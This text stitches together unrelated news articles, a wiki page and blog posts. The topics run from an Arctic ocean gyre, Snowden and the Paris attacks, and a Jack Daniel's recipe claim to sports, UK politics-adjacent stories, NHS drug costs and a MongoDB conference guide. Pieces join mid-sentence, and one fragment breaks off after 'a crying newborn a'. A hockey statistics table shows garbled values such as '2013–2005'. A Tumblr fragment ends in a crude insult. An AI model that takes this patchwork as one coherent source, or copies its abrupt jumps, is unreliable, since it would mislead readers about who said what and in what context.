But Eddy Carmack — an oceanographer who recently retired from Canada’s Institute of Ocean Sciences and who has been studying the gyre longer than any other scientist — says that as long as that thick cap of freshwater over the Beaufort Gyre prevents the saltier and nutrient-rich water located below from rising and mixing with the colder and fresher surface layer, no amount of sunshine is going to support the rich underwater life. And Carmack says that even if the gyre reverses direction and expels some freshwater and sea ice, enough cold water will remain on the surface of the Beaufort Sea to inhibit plankton growth and fisheries.
No one knows what will happen in the future when a seasonally ice-free Arctic Ocean becomes increasingly exposed to the warmth of sunshine. A gradual warming of water could someday release some of that heat that is now trapped far below the surface. But for much of this century, scientists expect that melting sea ice and frigid water flowing from Arctic rivers will leave a cold, freshwater cap on the surface of the Beaufort Gyre. And, influenced by the generally westerly winds associated with the polar high-pressure system, the gyre is expected to continue to spin in the Arctic Ocean, albeit with much less ice. The first confirmation of the Beaufort Gyre’s existence came in the 1950s when Soviet scientists conducted research in the region. Carmack first visited the gyre in 1971. At that point, the gyre had weakened and had set in motion the Great Salinity Anomaly.
It remains to be seen when the next big flush will occur and whether it will set off a “ticking climate bomb.”
Carmack suspects that another smaller pulse of fresh Arctic water that leaked into the North Atlantic in the early 1990s — the result of the Beaufort Gyre spinning in a counter-clockwise direction — may have suppressed the recovery of the severely overharvested cod populations in Newfoundland and Labrador. That fishery has yet to rebound in any significant way.
Carmack, Woods Hole’s Krishfield, and others are not ruling out the possibility that the gyre will weaken or reverse direction sooner rather than later. In fact, research conducted by the expedition this summer suggests that a change may be coming. The volume of freshwater in the gyre had not increased since the previous summer’s expedition, and changes in atmospheric circulation suggested a possible shift to the cyclonic activity that might weaken the clockwise rotation of the gyre.An ex-CIA director claims Edward Snowden should face the death penalty because he has French “blood on his hands.” Some experts, however, cast doubt on that claim, with one saying the Paris attacks are being used as a “good crisis” by those in power.
The exact means of communication the terrorists used to organize the Paris attacks that killed 132 people on Friday remains unknown. Despite this, prominent current and former US intelligence officials are calling for back-door access to encrypted devices, and in one case, trap-door access for Edward Snowden.
“It’s still a capital crime, and I would give him the death sentence, and I would prefer to see him hanged by the neck until he’s dead, rather than merely electrocuted,” former CIA director R. James Woolsey said, referring to Snowden as a “traitor” in an interview with CNN Thursday.
“I think Snowden has blood on his hands from these killings in France,” Woolsey said.
‘Blood on his hands’: CIA officials, others implicate Snowden disclosures in Paris attack https://t.co/V0GtmR5l3Epic.twitter.com/tNzS72Qijw — RT America (@RT_America) November 17, 2015
However, new evidence suggests no encryption was ever used in plotting the recent attacks. Paris prosecutor François Molins confirmed that one of the suspected attacker’s cell phones was found in a trash can near the Bataclan concert hall – and no encryption software was on the phone. In fact, easily accessible text messages on the phone were directly related to the attack.
Texts sent at 9:42 pm on the night of the massacre read “On est parti on commence,” which means, in effect “Here we go, we’re starting.”
Although Woolsey’s rhetoric was the most vivid, it didn’t drift far from what other intelligence officials and politicians have been saying.
In a speech at an Overseas Security Advisory Council meeting on Wednesday, current CIA head John Brennan blamed “a number of unauthorized disclosures” as well as a “lot of hand-wringing” for depriving his agency and others of what he called necessary tools “to find these terrorists”.
“I think any unauthorized disclosures made by individuals that have dishonored the oath of office, that they have raised their hand and attested to, undermines this nation’s security,” Brennan said.
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In a response by the New York Times titled “Don’t Blame Edward Snowden for the Paris Attacks,” the editorial board points out Brennan made false statements regarding civilian deaths caused by his classified drone program and the scope of his enhanced interrogation program outlined by the Senate Report on Torture.
In a Washington Post interview, Representative Adam B. Schiff (D-California), the top Democrat on the House Intelligence Committee, echoed the CIA’s line, saying terrorists “adapted to the disclosures by Snowden and have made it more difficult for us to track their whereabouts as well as their plotting and planning.”
The decision to condemn Snowden amounts to a “two-day impulse response,” Ross Anderson, professor of Security Engineering at the Computer Laboratory of the University of Cambridge, told the New York Times.
“Never waste a good crisis, as they say,” Anderson said.
Surprisingly, this idea was reiterated by a senior government official who went unnamed when speaking with the Washington Post. The official said the media was being played by those who want to see more surveillance power in the government’s hands.
“Law enforcement is taking advantage of a crisis where encryption hasn’t proven to have a role. It’s leading us in a less safe direction at a time when the world needs systems that are more secure,” the official said.
Jameel Jaffer, deputy legal director of the American Civil Liberties Union, told the Post in a separate report that “Aspiring terrorists already knew the US government was doing everything it could to track and monitor their communications,” adding that Snowden revealed that the government wasn’t just watching terrorists.
“What Snowden disclosed was the astonishing extent to which the government’s surveillance power had been turned on ordinary citizens. The CIA director knows this. He’d just rather we talk about Snowden’s disclosures than about the intelligence community’s failures,” he said.
In a measured but undercutting response to the Snowden scapegoating, Brookings Institution terrorism expert William McCants told the Post, “I think you can recognize that the leaks did damage to the United States’ ability to monitor some of their communications, while also acknowledging that the jihadists were pretty security-conscious anyway.”
On the presidential campaign trail, top Republican contenders have been calling for more increases in surveillance, but not every candidate has done so.
“We’re going to have to do things that we never did before. And some people are going to be upset about it, but I think that now everybody is feeling that security is going to rule,” Donald Trump said in a Yahoo interview. Trump has said mosques will have to be closed and Muslims may have to register or be kept on a government database.
Kentucky Senator Rand Paul summed up his response to calls for more surveillance power with a curse word. “So when they stand up on television and say, the tragedy in Paris means you have to give up your liberty, we need more phone surveillance. Bullshit,” he told a gathering of Students for Rand.
From Moscow to LA, security measures tightened following Paris attacks https://t.co/bTTtObrSDBpic.twitter.com/y25mMurI1e — RT America (@RT_America) November 14, 2015
Security forces in France and the US remain in a state of heightened alert.
French police have conducted over 400 raids this week, arresting 60 people and seizing 75 weapons, including a rocket launcher, according to a government statement. Roughly 120 people have been committed to house arrest, as streets were closed for a search for a suspicious vehicle on Wednesday, and French parliament’s lower house extended the state of emergency on Thursday. The upper chamber is expected to vote on Friday.
Meanwhile, French President François Hollande is pursuing the power to rescind citizenship rights for French-born terrorists, as well as to deport foreign-born terror suspects more easily. Hollande also wants better armed police and bulked up security at the French border and high priority sites such as the Eiffel Tower. Moreover, Hollande will meet with US President Barack Obama and Russian President Vladimir Putin next week to discuss escalating attacks in Syria.
Comparisons are being drawn between France’s response to the recent attacks and America’s in the wake of 9/11, with debate over civil liberties being propelled to levels not seen since Snowden’s whistleblowing over two years ago by fears of a feedback loop of rising security impositions.When mom is away, most dads offer a crying newborn a |
terms? Deductions being rapped? Holmes and Watson bombing around London in a Lexus on their way to meet with Lestrade, a wheelchair-bound lesbian with a penchant for Class-As at lunchtime?”]
ahappyendingwasimperative:
ahappyendingwasimperative: willietheplaidjacket: 221bsherlock: Let’s all take a moment to appreciate Martin’s introduction to The Sign Of Four Well, I need Martin to become a writer immediately. How hilarious that Lestrade could have been a disabled lesbian. I’m laughing my socks off. People who aren’t straight! Disabled people! Women! LOL
good job he’s a cishet abled white male, society can relax because scary marginalised groups aren’t on tv. The question is how do people who publish these things forget that a lot of disabled lesbians can read and might want books that don’t mock them on the first page?
what a disgusting piece of shitMark Evans says he discovered the lost recipe in a book written in 1853 by his great-great grandmother
A Welsh businessman claims to have found the original recipe for Jack Daniel's whiskey in a book of herbal remedies.
Mark Evans said he discovered the lost recipe while he was researching his family history. The book was written in 1853 by his great-great grandmother, whose surname was Daniels and who was also a local herbalist in Llanelli in south Wales.
He now believes that the recipe was taken to Lynchburg, Tennessee, in the US, by her brother-in-law – John "Jack the lad" Daniels – where Jack Daniel's whiskey is distilled.
Jack Daniel's is one of the best-selling whiskeys in the world and its founder was from Wales. Evans said the recipe also matches ingredients found on the bottle.
"I'm pretty sure I've discovered the original recipe in great-great grannie's book. I was doing some family research, looking at photographs and things, and I wanted to look at the family bible. At the bottom of the bookcase was this book," he told the Llanelli Star.
He added: "My great-great-grandmother wrote in the book in 1853, and Jack Daniel's is dated 1866, so it predates it. There is a link, because my grandmother's grandfather's brother – my great-great-uncle – left for America and nobody ever heard from him after a couple of letters. That was during the time that Jack Daniel's was set up, but more important than that, he was called John 'Jack the Lad' Daniels. We know he went to Lynchburg, Tennessee and I'm pretty sure he used great-great-grannie's recipe to start off the whiskey business."
Evans said his grandmother, Lillian Daniels Probert, who is 97, remembers her grandmother using the book to make herbal remedies and ointments and was given the book by her.
A spokesman for the company said they were keen to see the book, which is written in Welsh. "We know our founder was from Wales – we would love to see the book and the recipe," he said.
The early history of the Jack Daniel's company is difficult to piece together as its early records were destroyed in a courthouse fire. However, the company claims it was founded in 1866 by Jasper "Jack" Newton Daniel, whose grandfather Joseph "Job" Daniel emigrated from Wales. Others have claimed it was not founded until 1875.12 rescued from Universal's Rip Ride Rockit roller coaster
Rescue teams from the Orlando Fire Department were called to the theme park after several people reported that the Hollywood Rip Ride Rockit roller coaster had malfunctioned and about a dozen people were trapped on the ride.
Twelve people were stuck for nearly three hours Wednesday night on a roller coaster that stopped vertically during a ride at Universal Orlando, fire officials say.
All were rescued by about 9:45, fire officials said, and one person was taken to the hospital with neck pain.
Jeff Day, district chief at the Orlando Fire Department, said a technical glitch forced the ride's safety features to lock in place.
According to dispatchers, the theme-park guests on the ride were not in any danger but had been stuck since about 7 ¿p.m. After nearly three hours, rescue crews were able to move the car to a horizontal position at the top of the ride and help guests exit onto a platform where they were able to get to the ground on elevators.
Universal Orlando spokesman Tom Schroder said the ride stopped because of a "technical glitch."
The ride will remain closed as a crew works to determine exactly what went wrong.
"We're not going to reopen the ride until we know what happened and we're sure it won't happen again," Schroder said.
The long lines that plague many theme-park guests worked in favor of one family visiting from Scotland.
"The kids in our family were next to go on," Scott Brough said via email late Wednesday. "Looking back, thankfully, they were not on board any of the carriages and were safely standing at the starting line.
"Hopefully it's back working safely soon, as the kids went on it five times and thought it was a great ride," Brough said.
The ride, billed as Orlando's tallest roller coaster, at 17 stories high, was closed for two days in August after a woman was hurt when the car she was riding in stopped Aug. 1.
The woman suffered minor injuries.
Afterward, the ride — which can reach speeds as high as 65 mph — was closed as safety crews inspected it.
dstennett@tribune.com or 407-420-5447Can the case be made that Clemson should be the #1 team in the country? You bet. And to help us dive into the Tigers 3-0 start we welcome Brad Senkiw (105.5 The Roar) back to the program. We’ll ask Brad…
His biggest takeaway from the win at Lousiville
How has Dabo Swinney changed the recruiting culture to follow Bama’s “reload” style?
Brad’s assessment of new QB Kelly Bryant so far
Where is the biggest challenge coming in Clemson’s remaining schedule
and of course we’ll ask him to make the case for Clemson being #1
I’ll also talk about the Jekyl & Hyde teams through the first two weeks of the NFL season. And why these early season rankings are so ridiculous in college football.
Be sure to follow Brad on Twitter @BradSenkiw. And listen to him weekdays 9-Noon on http://wccpfm.com/The Connecticut Huskies men's ice hockey team is a National Collegiate Athletic Association (NCAA) Division I college ice hockey program that represents the University of Connecticut. The Huskies are a member of Hockey East. They play at the XL Center in Hartford, Connecticut.[3]
History [ edit ]
The Huskies men's ice hockey program began in 1960 under head coach John Chapman. UConn began NCAA competition at the NCAA Division III level in the ECAC East.[4]
Prior to 1998, the Huskies played all home games outdoors at a partially enclosed rink on-campus near Memorial Stadium. The UConn Hockey Rink had a roof but was open on the sides.[5] However, in preparation for the upgrade to Division I, the University built the Mark Edward Freitas Ice Forum. Construction began in 1996, and the first indoor home game for UConn was on November 7, 1998.[6][7]
The move to NCAA Division I status allowed the team to join other Husky athletic programs. In 1998 they joined the Metro Atlantic Athletic Conference, after previously playing for 38 years in the Division III ECAC East.[8] At the time, head coach Bruce Marshall was in his tenth season at the position. In its 2nd season in the 2000 MAAC Men's Ice Hockey Tournament, Uconn beat Iona 6-1 to win its 1st league championship. However, due to a 2-year probationary period placed on the MAAC for an automatic bid to the NCAA Ice Hockey championship by the league champion, UConn was unable to participate in the NCAA tournament that year. It has been the only championship Uconn would earn since moving to Division I (as of May, 2016). But when the athletic department was forced to remove all athletic scholarships from the sport in order to comply with Title IX,[9] and the Huskies consistently finished in the bottom few spots of the national computer rankings before the most recent season.[10] In 2003, the MAAC formed a new league called Atlantic Hockey.
In June 2010, the University announced that the team would face Sacred Heart at Rentschler Field in East Hartford on February 13, 2011, as part of a doubleheader also featuring a game between the women's team and the Providence Friars.[11] The Huskies won this game 3-1, in front of 1,711 fans. The Huskies also played their first ever game at the XL Center in downtown Hartford that year, though this was not originally scheduled. Due to heavy snow accumulation on the Freitas roof, the team's February 5 game against Army was moved to the off-camps arena, also home to the Connecticut Whale of the American Hockey League.[12] In spite of free admission, only 891 fans turned up on short notice to watch the Huskies lose 5-3.[13] As a whole, the 2010-11 season was also a major improvement for the Huskies, who advance to the Atlantic Hockey Tournament semifinals at Blue Cross Arena before being eliminated. They finished with a final record of 16-18-4. One of the major factors in the turnaround was the young recruits the Huskies had signed. Freshman Cole Schneider led the team with 32 points, while sophomore Sean Ambrosie finished second with 29.[14] Meanwhile, sophomore Garrett Bartus set a school record with 1,085 saves.[15] The 2011-12 AHA preseason rankings reflected the newly gained reputation, with the Huskies ranked fifth out of twelve teams.[16] The Huskies posted a winning record once again in the 2012-13 season.
On June 21, 2012 Connecticut announced the program will join Hockey East as the conference's 12th member beginning in the 2014-15 season.[17] Prior to the move into Hockey East, on January 7, 2013, head coach Bruce Marshall resigned after 25 years [18] and was replaced in interim by Asst. Dave Berard.[19] The season ended with a record of 17-13-4. The team finished 4th in the AHA, drawing a crowd of 1438 for their final home game of the season against Sacred Heart. As part of the move from Atlantic Hockey to Hockey East, the university added 18 scholarships for the men's ice hockey team and additional scholarships to existing women's sports programs to meet Title IX gender equity requirements.[17] The university is also investigating options to significantly renovate the Freitas Ice Forum, which has a seating capacity around 2,000 fans, and mostly consists of metal bleachers; or build a new, larger ice arena on-campus.[17] As a new member of Hockey East the team will play home games at the 15,635-seat former NHL arena, the XL Center in downtown Hartford, with other select (home) games at the Webster Bank Arena in Bridgeport, CT. A study by the university projected a cost around $20,000 a game to play at the XL Center.[17]
New Head Coach Mike Cavanaugh, who spent 18 seasons as an assistant at Boston College, was hired to guide Uconn into their new era of scholarship hockey in the Hockey East. He coached Uconn's final season (2013–14) in Atlantic Hockey to a record of 18-14-4, with wins over future Hockey East opponents Providence and Umass, while playing to a 2-2 draw with eventual 2014 NCAA Champ Union. Uconn made a successful transition to Hockey East in 2014-15 as they finished in the top 10 nationally in home attendance (5,396) while also leading their new conference. They were also competitive on the ice as their transition year resulted in 4 wins over top 20 teams while gaining ties with national championship game finalists Providence and Boston University. Starting in the 2015-16 season all home games were played at the XL Center, which drew a much better attendance per game (5,879) than those at the Webster Bank Arena (2,900) in which Uconn appeared during the 2014-15 season.
Coaching staff [ edit ]
[21] The Huskies are coached by Mike Cavanaugh, the fourth head coach in program history.
All-time coaching records [ edit ]
As of completion of 2017-18 season [4]
Tenure Coach Years Record Pct. 2013–present Mike Cavanaugh 5 66–89–25.436 2012–2013 David Berard 1† 19–10–3.641 1988–2012 Bruce Marshall 25 332–377–69.471 1981–1988 Ben Kirtland 7 85–98–2.465 1960–1981 John Chapman 21 196–221–7.471 Totals 5 coaches 58 seasons 698-795-106.470
† David Berard served as an interim head coach after Bruce Marshall took a medical leave of absence.
Awards and honors [ edit ]
ECAC East [ edit ]
All-Conference Teams [ edit ]
First Team All-ECAC East
Second Team All-ECAC East
MAAC [ edit ]
Individual Awards [ edit ]
All-Conference Teams [ edit ]
First Team All-MAAC
Second Team All-MAAC
MAAC All-Rookie Team
Atlantic Hockey [ edit ]
Individual Awards [ edit ]
All-Conference Teams [ edit ]
First Team All-Atlantic Hockey
Second Team All-Atlantic Hockey
Third Team All-Atlantic Hockey
Atlantic Hockey All-Rookie Team
Hockey East [ edit ]
All-Conference Teams [ edit ]
Second Team All-Hockey East
Third Team All-Hockey East
2016–17: Tage Thompson, F
Atlantic Hockey All-Rookie Team
2015–16: Maxim Letunov, F
[20] Statistical Leaders [ edit ]
Career points leaders [ edit ]
Career Goaltending Leaders [ edit ]
GP = Games played; Min = Minutes played; GA = Goals against; SO = Shutouts; SV% = Save percentage; GAA = Goals against average
Minimum 50 Games
Player Years GP Min GA SO SV% GAA Matt Grogan 2010–2014 59 3082 119 2.926 2.32 Rob Nichols 2013–2005 93 5386 239 10.918 2.66 Marc Senerchia 1996–2000 93 3.02 Garrett Bartus 2009–2013 111 6353 320 5.911 3.02 Beau Erickson 2006–2009 85 4891 264 2.902 3.24
Statistics current through the start of the 2018-19 season.
Current roster [ edit ]
As of January 12, 2019.[22]Chelsea playmaker Eden Hazard insists he is not at the club to'show off'
Eden Hazard: Says he is not at Chelsea to 'be a star' and enjoys setting up his team-mates
Hazard has made a big impact in his first three Premier League games with the Blues after arriving from Lille in the summer, providing four assists as well as winning two penalties and scoring a goal against Newcastle.
The 21-year-old's antics have been crucial in helping Chelsea move top of the fledgling table ahead of this weekend's West London derby against QPR.
The Belgium international insists he is not at the club to hog the spotlight and enjoys making openings for his colleagues.
"I love to set up my team-mates," he told the official Champions Matchday magazine.
"I am not here to be a star, to show off. I am here to play for the others, but if I have to try and clinch a game then I will.
"People will see me at Chelsea the way I am and judge me the way they want to."
Hazard is looking forward to playing in the UEFA Champions League with holders Chelsea after getting a taste of the tournament with Lille.
Dreaming
"It's a competition that gets everyone dreaming," he added. "Every detail counts at this level.
"It was good experience (last season with Lille). I hope to do better in it.
"It will be complicated, because now Chelsea are the team to beat.
"The goal is to win the Champions League every year, but we know it is difficult to win it twice in a row."
Hazard admits he is still adjusting to life in England following his summer move and says joining Chelsea has been a culture shock.
"It's totally different here," he said.
"With Lille we could have gone to the South of France and people wouldn't have recognised us. But at Chelsea, the players are at another level.
"Everything has changed for me - the language, the country - but it is up to me to adapt."Sen. Elizabeth Warren (D-MA) spoke out Monday on President Donald Trump’s decision to install White House budget director Mick Mulvaney as acting director of the Consumer Financial Protection Bureau.
“This is about whose side President Trump is on — big banks, or working families,” Warren told the Washington Post’s Greg Sargent. “So far in his administration, he has chosen the big banks time after time. Is he going to stand up for the working families who helped elect him?”
The CFPB is in the midst of a crisis of leadership, reflected in a lawsuit Sunday night by newly elevated deputy director Leandra English, who had previously served as chief of staff to former CFPB Director Richard Cordray. Under the 2010 Dodd-Frank law, which authorized the agency in the first place, the deputy director becomes the acting director in the case of a vacancy. But the White House, in naming Mulvaney the acting director, cited the Federal Vacancies Reform Act. Currently, the agency effectively has two acting directors.
Mulvaney, who has said he is opposed to the agency’s very existence, has reportedly told CFPB staff to report communications from English to the agency’s legal department.
Warren has sided firmly with English, saying Dodd-Frank clearly states that she ought to be acting director. Warren was the driving force behind the agency’s creation as an adviser to the Obama administration. Reuters reported the senator would meet with English Monday.
“The agency deserves a leader who has a demonstrated track record of protecting consumers and standing up to Wall Street,” Warren told the Post. Keeping English in charge, she said, would give Americans “a chance to look at this agency one more time and see how hard it fights on behalf of consumers.”
Under Mulvaney, or someone like him confirmed on a permanent basis, Warren said, “The agency will be headed by someone who fundamentally doesn’t believe in its mission.”
“This would change every calculation that every giant bank makes in the executive suite when deciding just how close to breaking the law they want to come,” she continued. “If the cop is pulled off the beat, then the profits from cheating people look far more attractive to the banking executives.”
“It will be up to Senate Republicans to decide whether they want to put someone in the job who is firmly on the side of big banks,” she added.A few weeks ago when the boys were in California, they headed over to Glendale, CA to join noted petrolhead, Adam Carolla, for his extremely popular podcast – the Adam Carolla Show.
We took a listen this morning and it was just great listening to the guys talk about their time on Top Gear and how it’s been a slight blessing in disguise that the fracas happened and now they have a chance to do The Grand Tour.
We wanted to share with you some of our favorite moments and insights we learned from the show, so please leave a comment below and let us know yours.
Adam Carolla is a Genuine Fan
“My Heroes are here” – Adam Carolla
James May on Why No One can Imitate their Success
“That’s why no one has ever been able to imitate us successfully. No other group of 3 people can loath each other with quite the passion and intensity that we have”
Clarkson on Chemistry
“Everyone imagines chemistry is a good thing. Well, TNT is Chemistry!”
The Moment Everyone Took Notice of Top Gear
Clarkson talks about how they’ve been on for many years, under the radar, but when Hammond’s accident happened, everyone tuned in to see how he was going to be after the accident and then fortunately, they stuck around for more. It was a blessing in disguise that they got to work on their chemistry to get it to a good place for that moment.
There is a Track for The Grand Tour
At about the 9 minute mark of the interview, Clarkson talks about the track they have for The Grand Tour, which is in the woods and full of deer. This is somewhat surprising as earlier reports were The Grand Tour not being allowed to have a track like the one they had on Top Gear. This is tremendous news for some fans who want to keep some of the old elements of the show.
Clarkson on How Brilliant He Is
Talking about his time on Top Gear, Jeremy says he “joined in 89 and left in 92 because... I was brilliant, actually”
James May joining the show late
“You drove too slowly to enter the first show.” – Clarkson
Clarkson on the BBC
“I’m not banned from the BBC. I just don’t do Top Gear.” – Clarkson
Responding to what’s new on the show
“It’s still us three. I’m bombastic, he’s still short, James is lost and slow. That’s basically what happens every week. At it’s core, it’s still us three.” – Clarkson
Favorite Car Talk as Adam drops his love for the Lamborghini SV Miura
Later in the interview, Carolla brings up the most beautiful cars and he had to share one from his personal collection, the Lamborghini SV Miura, which he later invites Clarkson to go check out after the show. (Clarkson basically says.. if he has time)
Clarkson picks AC Cobra.
May – Ferrari 275 GTS
May – Ferrari Superamerica
DT Pantera
Jensen Interceptor
Aston Martin DB11
The Guys talk about Paris Hilton
Adam Carolla basically says that there are moments when a car can be ruined and seeing Paris Hilton in an LFA is an example of that moment.
We won’t post a picture because we don’t want to ruin it for you. We care.
Jeremy Clarkson on Getting the Better of the New Top Gear
Honestly.. we have a tactful answer prepared for this.... we’ve been focusing on the grand tour for the last 12 months. We haven’t REALLY paid attention.. there’s another huge huge tv show called Bake=Off and that’s going through some problems as well. We are genuinely have been a year, solidly on the road making our show and that’s all we really care about.... how pro was that?!?!?!
How Ferraris feel to Jeremy ClarksonA man in Turkey who was filmed being hit by Recep Tayyip Erdogan, the prime minister, has said the Mr Erdogan did not mean to slap him.
Video footage of the incident, which happened as Mr Erdogan was visiting the site of the Soma mine disaster, was posted online. In it, the prime minister is seen being jostled, and then raising his hand to strike someone in the crowd.
The scuffle capped a difficult day for Mr Erdogan, whose presence in Soma - where over 280 people died in the country's worst ever mining disaster - angered local residents. The abrasive prime minister expressed regret for the tragedy - but then commented that "accidents like this happen all over the world," and reeled off a list of previous mining disasters.
As he then walked through the streets of Soma, flanked by his bodyguards, the crowds booed and whistled, while some shouted "Erdogan, resign!"
Mr Erdogan could be heard retorting: "Come here and jeer at me!"
Entering a supermarket, he came face to face with Taner Kuruca and was filmed striking him.
But Mr Kuruca said that the prime minister did not mean to hit him.
"I was not one of the protesters. I came face to face with Prime Minister," he said. "As his bodyguards started to push, Prime Minister unfortunately did something involuntarily and slapped me while I was walking backwards, because he was angry at the crowd and he couldn't control himself."
The footage will do little to help Mr Erdogan's reputation, however. On the same day his advisor, Yusuf Yerkel, was photographed kicking a protester who was being held down by special forces. The man on the floor had apparently kicked Mr Erdogan's car as it left Soma, causing Mr Yerkel to fly into a rage.
"I am sorry that I was not able to keep calm despite all the provocations, insults and attacks that I was subjected to," he said.Not only will India not feature in the Boxing Day Test against South Africa later this year, but even the New Year's Test in Newlands is in danger of being pushed back. The Boxing Day Test is usually the highlight of South Africa's international season while the iconic venue in Cape Town usually hosts the second Test of the South African summer from January 2.
However, it is understood that India will only land in South Africa in the last week of 2017 and will want to acclimatise for at least a week before starting the tour comprising four Tests, five ODIs and two Twenty20 internationals.
According to a BCCI official, India cannot reach South Africa for the Boxing Day Test which starts on December 26 only because their home series against Sri Lanka is scheduled to finish on December 24. "We can't make it make it in time. The Sri Lanka tour ends on December 24. After that we need to give the boys a few days' rest," the board official told ESPNcricinfo. "The South Africa tour is a big one, so they need to play two warm-up games, so it will take at least 10 days [before the first Test].
The BCCI has already alerted Cricket South Africa on the scheduling difficulties, which both boards expect to sort out by next week. ESPNcricinfo understands CSA has accepted the fact that India will miss the Boxing Day Test, and, hence, have started looking for other options to stage a one-off Test. Pakistan and Afghanistan are reportedly the two possible options, but nothing concrete has emerged yet on that front.
Tony Irish, the head of the South African Players Association, said that if the Newlands Test failed to start on January 2 or 3, it would be a "major blow" for CSA only because the match coincides with the holiday season. "I had been aware of the fact that they were unlikely to be there for Boxing Day, but for them not to be here for the New Year's Day is a major blow to CSA and the fans," Irish said. "To lose Boxing Day is a big thing, but to lose both of them would be massive hit for the fans."
Irish felt India could play a solitary two- or three-day game ahead of the first Test to facilitate things. But the BCCI official said that the Indian players could not be pushed.
There are other repercussions of the India tour starting late. As soon India depart, South Africa are scheduled to host Australia for a four-Test series before the players arrived in India for the IPL. If CSA do manage to find an opponent for the Boxing Day Test, that would mean nine Tests crammed inside a two-month period.
Irish felt such an "extremely gruelling" Test schedule combined with the limited-overs matches against India would exacerbate the workload on players. "If the India Test matches start much after January 2 or 3, there will be a lot of concern about the players' workload," Irish said. "You really compound the workload issue." Irish has raised this concern with CSA, which has noted it.Which ones have the NHS blocked? (Credit: Getty)
Breast cancer drug Kadcyla has become the most recent example of drugs deemed ‘too expensive’ for the NHS to ‘routinely offer’ patients.
It can extend the lives of women in the advanced stages of the disease by six months on average.
Yet at £90,000 per patient (though discussions are still ongoing about price), it is more than the extension of life is worth, it believes.
That said, some women will still have access to the drug through the government’s Cancer Drugs Fund, set up to help fund the less widespread treatments for special cases.
But it’s not the only life-saving drug we are unable to get our hands on. Here are four drugs seen as useful by many that have been removed from the mainstream NHS drug lists due to costs.
1) Jevtana to treat prostate cancer
Described as a ‘last ditch’ drug for those with prostate cancer, Jevtana, called cabazitaxel without the brand name, can give men in the advanced stages of the disease an extra three months of extra life (though some reports say men have lived for up to three years longer).
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This year though it was axed from the NHS approved list due to lack of cost effectiveness, in a move that some doctors described as a ‘travesty’.
It costs around £22,000 for a one-off treatment.
2) Avastin to treat cervical, bowel and breast cancers
And that’s just three of the major cancers it treats. Cancer Research UK says it is also used to treat lung, kidney and ovarian cancer.
It works by preventing the production of the the major proteins that are vital for the growth of blood vessels that feed cancer cells.
It was one of the 25 cancer drugs cut by the NHS this year due to expense as it was costing the UK around £21,000 per patient.
Some drugs the NHS have blocked from becoming available in the first place (Photo: Pixabay)
3) Sofosbuvir to treat hepatitis C
Around 214,000 people in the UK are chronically infected, it is estimated.
NICE, which produces health guidelines for the government, says that anybody prescribed it by a doctor should be given access from the NHS, assuming they haven’t been treated before.
Sofosbuvir, in conjunction with related drugs, seems to offer a highly effective breakthrough for them,
Widespread release of this drug however has been limited due to costs. Firstly in January, it was delayed from end of April until end of July since, as the the NHS were faced with a bill of £35,000 per person.
Then in September it was criticised by 14 health organisations and doctors for ‘severely limiting’ the introduction of the drug.
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4) Translarna to treat muscle dystrophy
Duchenne dystrophy is a rare muscle-wasting disease caused by mutations in a person’s DNA. They prevent them from producing the dystrophin protein essential to muscle structure.
Translarna has seen in clinical trials to slow the progression of the disease (though not halt the decline altogether).
The Duchenne community though have had a long battle with the NHS over its release, as it’s been delayed by both the NHS and NICE to seek ‘further consultation’.
In October, NICE’s draft guidance said it would need further evidence from PTC Therapeutics while questioning the proposed cost of treatment.The User Guide to AWS re:Invent
MongoDB Blocked Unblock Follow Following Nov 13, 2017
By Jay Gordon, MongoDB Developed Advocate
This post is part of our Road to AWS re:Invent 2017 blog series. In the weeks leading up to AWS re:Invent in Las Vegas this November, we’ll be posting about a number of topics related to running MongoDB in the public cloud. See all posts here.
As 2017 comes to a close, I’m excited to attend one of my favorite events of the year, AWS re:Invent. As the world’s largest cloud computing conference, re:Invent is the place to get exposure to the best technologies, products and people involved in the Amazon Web Services ecosystem. Attendees get access to developers, engineers, DevOps professionals who are all there for the same purpose: to learn how to build the next great app on AWS.
re:Invent has grown so much over the years — last year clocking at over 30,000 attendees — that it’s easy to feel overwhelmed by all of the sessions, events and bootcamps available to you.
But don’t worry, I’ve thought about how to direct you to some of the best parts of the re:Invent conference so you have an incredible experience. Here are some tips that can help you cut through the noise and get to the best parts of AWS re:Invent.
Education, Labs and Hackathons
Take time to review all the different events on the re:Invent website and see which are good fits for you. You can take part in a non-profit hackathon for charity, prep for your AWS Professional Certification, or even take part in a “jam session.” Lots of different organizations are attending and provide you with both free and at-cost training. It’s an ideal time to finally get that certificate test done or attend a bootcamp on an AWS service you might be curious about.
A bootcamp from re:Invent 2016
Sessions
When AWS first released their OpsWorks product a few years ago, I was able to attend a session that demonstrated how to build a full stack app in only a few minutes with Chef. The sessions at re:Invent are highly technical and built so that you can learn and start using the tools and services in the AWS cloud. Make sure you register for your sessions early as many fill up quickly! AWS will email you when you can log into your AWS re:Invent portal to begin registering for the sessions you want to see. If you don’t get a chance to register, you can always go to the session room early and ask the person taking attendance if you can walk in if someone doesn’t make it. It doesn’t hurt to ask.
The keynotes are a major part of attending re:Invent so don’t miss them. The keynote are the place where Werner Vogels, AWS CTO, discusses trends and changes in the cloud ecosphere. You’ll also get a chance to hear about new AWS product announcements and big new features which always gets people excited. You can register early for seating by using your registration login for the AWS re:Invent website. This will help you avoid scrambling for a seat in the morning or potentially ending up in a spillover room.
Getting from session to session can take a bit of time. The campus of hotels is spacious, make sure you allot at least 15 minutes or so to walk from your last session to the next. You’ll also want to make sure you pick all the sessions you want beforehand and consider creating a personal calendar with what you would like to see. You can use the AWS re:Invent app available in your respective device’s app store.
Pick your sessions based on what you want to learn. This is your chance to be curious. Here were a few that stuck out to me:
If you are new to the world of Serverless development, you might want to check out Lambda in a 200 level course, like Chris Munns of AWS’s V213 — Thirty Serverless Architectures in 30 Minutes.
Maybe after that you want to learn about MongoDB’s backend as a service, Stitch, in a session with our CTO and Co-Founder, Eliot Horowitz. Check out ABD308 — Build a Serverless, Face-Recognizing IoT Security System with Amazon Rekognition and MongoDB Stitch. Stitch integrates with MongoDB Atlas, our database as a service, and allows you to implement third party services — including those from the AWS ecosystem — without writing and deploying boilerplate code.
If you’re more into learning about AWS infrastructure, the same tools we build MongoDB Atlas with, you may want to check out CMP203 — Amazon EC2 Foundations which goes through the basics of the AWS Elastic Compute Cloud.
There’s a lot of information available to you, no matter your comfort level with the AWS stack. Your greatest limitation is time, and getting all of it in. So plan ahead, read up on the different talks ahead, and make sure they are providing you the best use of your time while at re:Invent.
